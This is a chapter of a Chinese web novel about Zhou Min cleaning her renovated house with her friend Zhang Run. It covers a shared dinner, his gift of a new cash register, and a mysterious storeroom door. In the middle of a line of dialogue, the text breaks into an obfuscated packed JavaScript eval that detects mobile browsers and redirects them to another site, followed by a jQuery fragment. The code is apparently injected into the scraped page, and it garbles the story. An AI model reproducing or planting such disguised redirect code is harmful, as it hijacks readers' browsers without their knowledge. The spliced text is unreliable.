当时话虽然是这样说的。
但真等那天一大早提着行李箱顺着那狭窄的步梯从旅馆楼上下来的时候，一抬头看到章润不知道什么时候已经等在前厅里，她震惊到了。
“你怎么知道我住在这里的？”
“我猜的。”他手上还提着一个袋子，瞧见周珉还是睁大眼睛看着自己，“这家离你家最近。”
而且更重要的是，“章姐是我的大堂姐。”
……差点忘了还有这一茬。
周珉笑笑，把行李箱的拉杆抽出来，“那你来的正好，我正愁刚刚装修完，没有人帮忙一起搭把手的开荒打扫一遍呢。”
现在是早上七点半，一想到屋子里现在那些散落的墙粉袋子、油漆点和灰尘，周珉没忍住重重叹了一口气。
希望清理工作能赶在下午之前完成就好了。
回过神来，拉杆已经被拽了过去，空下来的手心被塞了个袋子进来。
“这什么啊？”
打开袋子，还没来得及看，就被那扑面而来的油香扑了一脸。
“早餐。”
镇子的早餐店早上九点以后就关门了，这个味道一闻就知道是以前常去的那家老早餐店。周珉还记得这家店门口，会用一只柏油桶改装的炉子，上面支一口铁锅，倒大半锅油下去。
等到油温升高以后，就可以把准备好的粢饭糕给丢下去了。
长方形的糍饭糕，一块大概能有个三四厘米的厚度，被炸的外脆里软，咬一口咸滋滋的还有一股葱花味。
上学前路上买一个和豆浆一起吃，夯实的能顶住一上午的饿。
章润给她带的这个还冒着热气，四个角炸的焦焦的，咬起来有点硬。
她费力的咬了个角下来，结果差点被烫到，只能张嘴‘呼哈呼哈’几下含糊不清的问他，“泥野次枣饭了吗？（你也吃早饭了吗）”
“嗯，我吃过了。”
行李箱的小轮子在已经有些皲裂的水泥路上，发出‘咕噜咕噜’的声音，偶尔会被塑料袋子的‘沙沙’声盖过。
等再看到自己的小房子，周珉手上的那块糍饭糕也不过刚吃了一半。
望着那重新刷过外立面的小三层，再一想到里面的情形她深吸一口气就把东西收了起来，“还是一会忙完了再接着吃吧。”
开荒保洁前的现场，垃圾灰尘无处不在。
好在房子翻新动工之前她就已经把被褥衣服这些容易弄脏的东西，全都提前放在了带有盖子的收纳箱里。
盖子上现在虽然已经落了一层肉眼可见的厚灰，但里面的东西还是好好的。
等到下午出太阳了，就可以把被褥抱出去再晒晒。
至于现在——要先把地面上能看到的大垃圾全部都先清除出去，然后再用扫把开始清理地面上的装修残留。
章润把行李箱往大门旁边一靠，就开始整理起了地上的大垃圾，周珉拽着一把刮地用的扫把跟在后面埋头苦扫。
好在比起娇贵的木地板，周珉选择的砖块地面要相对好清理些。
第一遍的大致清理在一个小时后顺利结束了，这时候停下手上的动作再看周围的摆设，已经能觉察出几分翻新后的好看来了。
但这还只是刚刚开始，等粗略把地面清理过一遍之后，还需要清理立面和柜子、台子、楼梯扶手上面的灰尘。
这些可都是大工程，抹布、水桶和挑高擦顶灰用的工具缺一不可。
周珉干一会，就要抬手转转自己的胳膊，然后再换另外一边。
多亏之前经历过家里西餐厅生意爆满时的洗礼，她现在感觉自己的体力都要比最开始来镇子上的时候好多了。
等到把一层清理完，准备带着东西上三楼的时候，她看了眼还在透抹布的章润，“之后要不就还是我自己来吧，你先回去歇歇？”
就算当初已经说好要帮忙，但也总不好拿朋友当长工使唤的。
“没事，这不是都已经弄的差不多了吗？”
差不多？
听着这话，周珉没忍住笑了起来，提着的水桶也放下在脚边，看着他，“这才哪到哪啊？”
虽然她昨天下午就已经过来打扫过一轮了，但等到他们把今天这些全部清理完，地上估计又要落一层灰，那就还要再整理第二遍的地面、窗户玻璃和楼梯阳台。
更别说这些全部弄完，还要从上到下全部再拖一遍地。能赶在下午两点前结束都能算是速度快的了。
“我那天说让你来帮忙是开玩笑的。”
章润把已经洗好的两块抹布挂在水桶壁上，站起身来却没有看她，转身带着东西去了新厨房的窗户那边，“那等到时你再多请我吃几次饭好了。”
两人认识这么久了，中间虽然也有几年没见……周珉心忽然一跳，自觉好像有哪里不太对。
她略等了等，没有上楼，等绕到厨房那边的时候，章润已经开始忙着擦拭窗户了。
“你今天不用去驿站？”
“店里又不是只有我一个人在忙，”他没有转身，瘦高的身量占据了大半个窗户，明明是听惯了的声音却在透过玻璃后奇异的带了几分陌生，“正常休息还是有的。”
似乎也没错。
“哦。”
周珉晃晃脑袋，再拎着东西上楼的时候，下意识又瞧了眼厨房。
新房子的味道算不得好闻，不过好在窗户和几道门都是敞开着的，有了新鲜空气的涌入，倒也不算难熬。
开荒清理的工作乍一看程序又多又杂，但真等全部都做完了，心里那股成就感却也是实打实的。
东西已经全部收拾好，就连晚上要睡的被褥也都已经晒出去了。
下午三点十七，两人坐在门前的小板凳上，一人嘴里还叼着根冰棍。
“晚上就不自己做饭了吧。”她觉得自己已经燃尽了。
原本还想要把那几个箱子里面的衣服重新分门别类的装到衣柜的每一格里，但现在感觉光是抬抬胳膊都虚的厉害。“我们出去吃好了。”
“那去朝阳火锅？”也是镇子上的老字号了。
但是——“近段时间不太想吃火锅。”
“那烤鱼？”虽然味道感觉都差不多，他点了点街道尽头的位置，“就在你常去的奶茶店旁边，新开的。”
镇子上就这一点不好，能挑的菜色也没几样。
“没吃过，那今天就去试试吧。”
一根冰棍吃完，按理说力气也恢复的差不多了，但两人却也没有想要从小板凳上起来的意思。
“再坐一会会，等五点，五点我们再过去吃饭吧。”
“我不饿，都行。”
话是这么说，但一开始就说好了的搬新家请吃饭，自然也不会只有章润一个人。
趁着给娟娟阿姨打电话但通话还没被接的时候，周珉转头看了眼身边的人，“你那时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483502|201885||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说要给我送的乔迁礼物——”
章润也扭头看她。
两个人灰头土脸的，此刻再看都算不上多好看，却也成功把周珉之前心里那种奇异的感觉给压了下去，“所以是什么东西啊？”
就算再好奇说好的礼物，但也要等从烤鱼店里出来。
这家店的味道确实还可以，今天除了娟娟阿姨，隔壁的阿婆还有这段时间麻烦了她许多的章姐也都来了。
大家一起热热闹闹的吃了顿饭。
周珉还顺利收到了松糕或是发财树这样的小礼物。
等和大家道别重新回到了家里，屋子里那种油漆的味道已经消失的差不多，她总算是拿到了章润递过来的那个大纸盒子。
太大了。
感觉都快有她头加肩膀那样大了。
“我拆开了哦。”嘴上这样说，但手上拿钥匙的动作可不慢。
等到钥匙划开上面的胶带，再把里面用来保护用的泡沫板抽出来，在看清楚箱子里面是什么东西以后，周珉原本挂在嘴边的期待笑容忽然一僵。
箱子里面的是——一台全新的收银机。
看型号，似乎还是最近才刚出来的新款。
她低着头，看不清面上的表情。
但章润能够感觉到气氛突然沉顿下来的那股沉默，他原本是站着的，这会也跟着蹲了下来，盯着那个新的收银机，没觉察出有什么不对。
但再开口时，却也带了几分小心，“……是不喜欢吗？”
“不是。”周珉回答的很快，眼里的那点情绪很快被掩藏好。
再起身，她把箱子拖到柜台后面的时候还不忘发问，“好端端的，怎么突然想着给我送这个？”
“先前不是在你这里看到那个老的收银机了吗？”虽然看着干干净净的，但年份估计不小，“我想着现在都是电子支付了，还是有个新款的会更好用些。”
不过话说回来，章润环顾了一圈周围的摆设，“那台机器呢？你把它送去回收站了？”
“东西太多太杂，我就先都收起来了。”
等送走了章润，把简餐店的大门重新落好锁后，周珉没忍住，重重叹了一口气。
总觉得和方岚他们告别的时候，好像还是在昨天。
在盯着那台章润送来的新收银机看了好一会，她到底还是没忍住，又找出了那个柜子的钥匙。
虽然先前就已经试过几次……今天就算最后一次吧。
柜子的门被打开，里面的老收银机上已经落了一层薄薄的浮灰，周珉吹了几口气，简单的用毛巾擦了擦。
在重新给它通上电，看着那原本黑掉的屏幕一点点亮起来的时候，她仿佛能听见自己的心跳声。
一声一声，扑通扑通的。
蓝色的界面重新浮现，不等她确定里面是不是又重新出现了数字的时候，原本一片寂静的储藏间门后，却忽然传来了微弱的‘呜——呜——’声。
像是风。
又像是——
意识到是什么，周珉的心猛然跳到嗓子眼。
再等到过去把手按在门把手上时，门后那道‘呜——呜——’声听的更加清楚了。
心跳声越发鼓噪的厉害。
她一闭眼一咬牙，用力把门把手重重往下一压，迎面而来那股还带着鱼腥味的冷冽空气让她起了一身鸡皮疙瘩。
储藏间门后的那间小屋子，不见了……